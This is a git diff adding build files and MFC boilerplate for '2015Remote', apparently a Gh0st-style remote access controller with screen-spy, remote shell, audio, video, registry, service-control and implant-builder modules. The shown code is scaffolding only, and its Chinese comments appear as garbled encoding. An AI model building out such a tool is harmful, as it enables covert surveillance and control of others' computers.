||||||
|
(strategy), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
#define inflateInit2(strm, windowBits) \
|
||||||
|
inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
|
||||||
|
|
||||||
|
|
||||||
|
#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
|
||||||
|
struct internal_state {int dummy;}; /* hack for buggy compilers */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
ZEXTERN const char * ZEXPORT zError OF((int err));
|
||||||
|
ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
|
||||||
|
ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* _ZLIB_H */
|
||||||
35
server/2015Remote.sln
Normal file
35
server/2015Remote.sln
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2012
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRun.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||||
|
ProjectSection(ProjectDependencies) = postProject
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||||
|
EndProjectSection
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
92
server/2015Remote/2015Remote.cpp
Normal file
92
server/2015Remote/2015Remote.cpp
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
|
||||||
|
// 2015Remote.cpp : <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "2015RemoteDlg.h"
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define new DEBUG_NEW
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
// CMy2015RemoteApp
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CMy2015RemoteApp, CWinApp)
|
||||||
|
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CMy2015RemoteApp <20><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
CMy2015RemoteApp::CMy2015RemoteApp()
|
||||||
|
{
|
||||||
|
// ֧<><D6A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
|
||||||
|
|
||||||
|
// TODO: <20>ڴ˴<DAB4><CBB4><EFBFBD><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> InitInstance <20><>
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Ψһ<CEA8><D2BB>һ<EFBFBD><D2BB> CMy2015RemoteApp <20><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
CMy2015RemoteApp theApp;
|
||||||
|
|
||||||
|
|
||||||
|
// CMy2015RemoteApp <20><>ʼ<EFBFBD><CABC>
|
||||||
|
|
||||||
|
BOOL CMy2015RemoteApp::InitInstance()
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Windows XP <20>ϵ<EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD>嵥ָ<E5B5A5><D6B8>Ҫ
|
||||||
|
// ʹ<><CAB9> ComCtl32.dll <20>汾 6 <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>ӻ<EFBFBD><D3BB><EFBFBD>ʽ<EFBFBD><CABD>
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Ҫ InitCommonControlsEx()<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><F2A3ACBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڡ<EFBFBD>
|
||||||
|
INITCOMMONCONTROLSEX InitCtrls;
|
||||||
|
InitCtrls.dwSize = sizeof(InitCtrls);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>õ<EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC>ࡣ
|
||||||
|
InitCtrls.dwICC = ICC_WIN95_CLASSES;
|
||||||
|
InitCommonControlsEx(&InitCtrls);
|
||||||
|
|
||||||
|
CWinApp::InitInstance();
|
||||||
|
|
||||||
|
AfxEnableControlContainer();
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> shell <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20>κ<EFBFBD> shell <20><><EFBFBD><EFBFBD>ͼ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD> shell <20>б<EFBFBD><D0B1><EFBFBD>ͼ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>
|
||||||
|
CShellManager *pShellManager = new CShellManager;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><D7BC>ʼ<EFBFBD><CABC>
|
||||||
|
// <20><><EFBFBD><EFBFBD>δʹ<CEB4><CAB9><EFBFBD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD>ܲ<EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD>С
|
||||||
|
// <20><><EFBFBD>տ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>ļ<EFBFBD><C4BC>Ĵ<EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD>Ӧ<EFBFBD>Ƴ<EFBFBD><C6B3><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ض<EFBFBD><D8B6><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ洢<DAB4><E6B4A2><EFBFBD>õ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// TODO: Ӧ<>ʵ<EFBFBD><CAB5>ĸ<DEB8><C4B8>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
||||||
|
SetRegistryKey(_T("Remoter"));
|
||||||
|
|
||||||
|
CMy2015RemoteDlg dlg;
|
||||||
|
m_pMainWnd = &dlg;
|
||||||
|
INT_PTR nResponse = dlg.DoModal();
|
||||||
|
if (nResponse == IDOK)
|
||||||
|
{
|
||||||
|
// TODO: <20>ڴ˷<DAB4><CBB7>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
// <20><>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>رնԻ<D5B6><D4BB><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||||
|
}
|
||||||
|
else if (nResponse == IDCANCEL)
|
||||||
|
{
|
||||||
|
// TODO: <20>ڴ˷<DAB4><CBB7>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>رնԻ<D5B6><D4BB><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD>洴<EFBFBD><E6B4B4><EFBFBD><EFBFBD> shell <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (pShellManager != NULL)
|
||||||
|
{
|
||||||
|
delete pShellManager;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ڶԻ<DAB6><D4BB><EFBFBD><EFBFBD>ѹرգ<D8B1><D5A3><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD> FALSE <20>Ա<EFBFBD><D4B1>˳<EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD>á<EFBFBD>
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
32
server/2015Remote/2015Remote.h
Normal file
32
server/2015Remote/2015Remote.h
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
|
||||||
|
// 2015Remote.h : PROJECT_NAME Ӧ<>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef __AFXWIN_H__
|
||||||
|
#error "<22>ڰ<EFBFBD><DAB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>֮ǰ<D6AE><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>stdafx.h<><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PCH <20>ļ<EFBFBD>"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "resource.h" // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
#include "iniFile.h"
|
||||||
|
|
||||||
|
// CMy2015RemoteApp:
|
||||||
|
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
|
||||||
|
//
|
||||||
|
|
||||||
|
class CMy2015RemoteApp : public CWinApp
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CMy2015RemoteApp();
|
||||||
|
iniFile m_iniFile;
|
||||||
|
// <20><>д
|
||||||
|
public:
|
||||||
|
virtual BOOL InitInstance();
|
||||||
|
|
||||||
|
// ʵ<><CAB5>
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
};
|
||||||
|
|
||||||
|
extern CMy2015RemoteApp theApp;
|
||||||
BIN
server/2015Remote/2015Remote.rc
Normal file
BIN
server/2015Remote/2015Remote.rc
Normal file
Binary file not shown.
189
server/2015Remote/2015Remote.vcxproj
Normal file
189
server/2015Remote/2015Remote.vcxproj
Normal file
@@ -0,0 +1,189 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
|
||||||
|
<RootNamespace>My2015Remote</RootNamespace>
|
||||||
|
<Keyword>MFCProj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>Static</UseOfMfc>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>Static</UseOfMfc>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
<Midl>
|
||||||
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||||
|
<ValidateAllParameters>true</ValidateAllParameters>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</Midl>
|
||||||
|
<ResourceCompile>
|
||||||
|
<Culture>0x0804</Culture>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>zlib.lib</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<Midl>
|
||||||
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||||
|
<ValidateAllParameters>true</ValidateAllParameters>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</Midl>
|
||||||
|
<ResourceCompile>
|
||||||
|
<Culture>0x0804</Culture>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ReadMe.txt" />
|
||||||
|
<None Include="res\2015Remote.ico" />
|
||||||
|
<None Include="res\audio.ico" />
|
||||||
|
<None Include="res\bitmap\bmp00001.bmp" />
|
||||||
|
<None Include="res\Bitmap\Online.bmp" />
|
||||||
|
<None Include="res\bitmap\toolbar1.bmp" />
|
||||||
|
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||||
|
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||||
|
<None Include="res\cmdshell.ico" />
|
||||||
|
<None Include="res\Cur\Drag.cur" />
|
||||||
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
|
<None Include="res\dword.ico" />
|
||||||
|
<None Include="res\file.ico" />
|
||||||
|
<None Include="res\icon1.ico" />
|
||||||
|
<None Include="res\My2015Remote.rc2" />
|
||||||
|
<None Include="res\pc.ico" />
|
||||||
|
<None Include="res\string.ico" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="2015Remote.h" />
|
||||||
|
<ClInclude Include="2015RemoteDlg.h" />
|
||||||
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="AudioDlg.h" />
|
||||||
|
<ClInclude Include="Buffer.h" />
|
||||||
|
<ClInclude Include="BuildDlg.h" />
|
||||||
|
<ClInclude Include="CpuUseage.h" />
|
||||||
|
<ClInclude Include="EditDialog.h" />
|
||||||
|
<ClInclude Include="FileCompress.h" />
|
||||||
|
<ClInclude Include="FileManagerDlg.h" />
|
||||||
|
<ClInclude Include="FileTransferModeDlg.h" />
|
||||||
|
<ClInclude Include="iniFile.h" />
|
||||||
|
<ClInclude Include="IOCPServer.h" />
|
||||||
|
<ClInclude Include="RegisterDlg.h" />
|
||||||
|
<ClInclude Include="Resource.h" />
|
||||||
|
<ClInclude Include="ScreenSpyDlg.h" />
|
||||||
|
<ClInclude Include="ServicesDlg.h" />
|
||||||
|
<ClInclude Include="SettingDlg.h" />
|
||||||
|
<ClInclude Include="ShellDlg.h" />
|
||||||
|
<ClInclude Include="stdafx.h" />
|
||||||
|
<ClInclude Include="SystemDlg.h" />
|
||||||
|
<ClInclude Include="TalkDlg.h" />
|
||||||
|
<ClInclude Include="targetver.h" />
|
||||||
|
<ClInclude Include="TrueColorToolBar.h" />
|
||||||
|
<ClInclude Include="VideoDlg.h" />
|
||||||
|
<ClInclude Include="zconf.h" />
|
||||||
|
<ClInclude Include="zlib.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="2015Remote.cpp" />
|
||||||
|
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||||
|
<ClCompile Include="Audio.cpp" />
|
||||||
|
<ClCompile Include="AudioDlg.cpp" />
|
||||||
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="BuildDlg.cpp" />
|
||||||
|
<ClCompile Include="CpuUseage.cpp" />
|
||||||
|
<ClCompile Include="EditDialog.cpp" />
|
||||||
|
<ClCompile Include="FileCompress.cpp" />
|
||||||
|
<ClCompile Include="FileManagerDlg.cpp" />
|
||||||
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||||
|
<ClCompile Include="iniFile.cpp" />
|
||||||
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
|
<ClCompile Include="RegisterDlg.cpp" />
|
||||||
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||||
|
<ClCompile Include="ServicesDlg.cpp" />
|
||||||
|
<ClCompile Include="SettingDlg.cpp" />
|
||||||
|
<ClCompile Include="ShellDlg.cpp" />
|
||||||
|
<ClCompile Include="stdafx.cpp">
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="SystemDlg.cpp" />
|
||||||
|
<ClCompile Include="TalkDlg.cpp" />
|
||||||
|
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||||
|
<ClCompile Include="VideoDlg.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
<ProjectExtensions>
|
||||||
|
<VisualStudio>
|
||||||
|
<UserProperties RESOURCE_FILE="2015Remote.rc" />
|
||||||
|
</VisualStudio>
|
||||||
|
</ProjectExtensions>
|
||||||
|
</Project>
|
||||||
275
server/2015Remote/2015Remote.vcxproj.filters
Normal file
275
server/2015Remote/2015Remote.vcxproj.filters
Normal file
@@ -0,0 +1,275 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="源文件">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="头文件">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="资源文件">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="主Dlg">
|
||||||
|
<UniqueIdentifier>{c30c6669-7ee9-446c-9bfb-e472d534e2f2}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="真彩Bar">
|
||||||
|
<UniqueIdentifier>{7384a2b0-7e54-4b4f-8f1e-399a170b0893}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="设置Dlg">
|
||||||
|
<UniqueIdentifier>{13f8046a-69f8-4f11-a24b-6bc31c195200}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="通信类">
|
||||||
|
<UniqueIdentifier>{b8c1bcef-f319-4d72-be70-99c37a83bf9a}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="CPU">
|
||||||
|
<UniqueIdentifier>{247eff7d-6fd0-43dd-8c7e-263aad0eed5b}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="缓冲区">
|
||||||
|
<UniqueIdentifier>{89df7039-00e9-4694-91f8-fc5f023e6321}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="远程控制">
|
||||||
|
<UniqueIdentifier>{5264e449-f09b-420d-9c72-ff8151bee746}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="远程文件">
|
||||||
|
<UniqueIdentifier>{52707111-f42b-41c9-b02d-ded6b27a2b7e}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="即时消息">
|
||||||
|
<UniqueIdentifier>{b8b47b31-1b3f-420a-aebd-f9f6aef16177}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="远程终端">
|
||||||
|
<UniqueIdentifier>{98bb3949-95d3-4ae1-9e7a-51344815555a}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
